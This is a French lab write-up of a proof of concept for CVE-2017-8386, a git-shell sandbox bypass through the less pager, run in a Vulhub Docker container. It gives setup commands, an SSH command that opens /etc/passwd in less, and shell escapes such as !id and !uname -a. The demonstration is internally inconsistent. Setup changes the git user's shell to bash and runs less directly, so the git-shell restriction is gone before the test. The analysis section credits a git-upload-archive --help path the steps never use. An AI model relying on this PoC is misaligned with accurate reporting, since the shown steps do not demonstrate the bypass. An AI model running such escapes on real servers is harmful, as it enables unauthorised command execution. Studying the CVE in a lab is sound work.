CVE-2017-8386: git-shell Sandbox Bypass to RCE PoC

정수진(@suz1n)

Aperçu

Git-shell fournit un environnement qui n'autorise que des commandes git restreintes via SSH. Cependant, dans certaines versions de git-shell (2.12.2, etc.), il existe une vulnérabilité (CVE-2017-8386) qui permet de contourner la sandbox et d'exécuter des commandes système en abusant de la commande less.

Ce rapport présente le PoC exécuté pour cette vulnérabilité et récapitule son déroulement.

Mise en place de l'environnement

Outils et versions utilisés

Docker : 24.0.7
Docker-Compose : v2.34.0
OS hôte : macOS
OS cible : Ubuntu 16.04 (dans le conteneur)
Version de Git : 2.12.2
Serveur SSH

Clonage du dépôt Vulhub

git clone https://github.com/phith0n/vulhub.git

cd vulhub/git/CVE-2017-8386/

Configuration de docker-compose.yml et Dockerfile

• Image de base Ubuntu 16.04
• Installation de Git 2.12.2 à partir des sources
• Installation et lancement du serveur OpenSSH
• Configuration de l'environnement git-shell (création de l'utilisateur git)

Construction et exécution du conteneur

docker-compose build

docker-compose up -d

docker ps

• Vérification de l'exécution du conteneur (git-shell-cve-2017-8386)

Enregistrement de la clé SSH et configuration de l'environnement

1. Génération et copie de id_rsa.pub en local
2. Connexion à l'intérieur du conteneur et passage à l'utilisateur git
3. Enregistrement de authorized_keys

docker exec -it git-shell-cve-2017-8386 /bin/bash

chsh -s /bin/bash git

su git

mkdir -p ~/.ssh

chmod 700 ~/.ssh

touch ~/.ssh/authorized_keys

chmod 600 ~/.ssh/authorized_keys

vim ~/.ssh/authorized_keys

Installation de paquets supplémentaires

apt update

apt install less -y

apt install man-db -y

• Paquets less et man installés pour la réalisation du PoC

Déroulement du PoC

Connexion SSH normale

ssh -p 3322 -i id_rsa -t [email protected] "less /etc/passwd"

• Entrée réussie dans less

• Exécution de commandes système possible via la commande !

Exécution de commandes (contournement de la sandbox)

• !id -> affiche l'ID utilisateur et l'ID du groupe

• !whoami -> utilisateur actuel (git)

• !uname -a -> affiche les informations du noyau système

• !ls /home/git -> affiche la liste des fichiers du répertoire personnel de git

Analyse

• Dans l'environnement git-shell, l'utilisateur est restreint et ne peut pas exécuter de commandes système.
• Cependant, via la commande `git-upload-archive --help`, il est possible d'appeler less en interne.
• La commande less prend en charge l'exécution de commandes shell système via la fonction !.
• Par conséquent, il est possible de contourner la sandbox de git-shell et d'exécuter des commandes arbitraires.

Références

• Blog Insinuator : https://insinuator.net/2017/05/git-shell-bypass-by-abusing-less-cve-2017-8386/

• Dépôt GitHub Vulhub : https://github.com/phith0n/vulhub

Lien du dépôt GitHub

https://github.com/suz1n/WHS3_vulhub

WHS3_vulhub

Populaires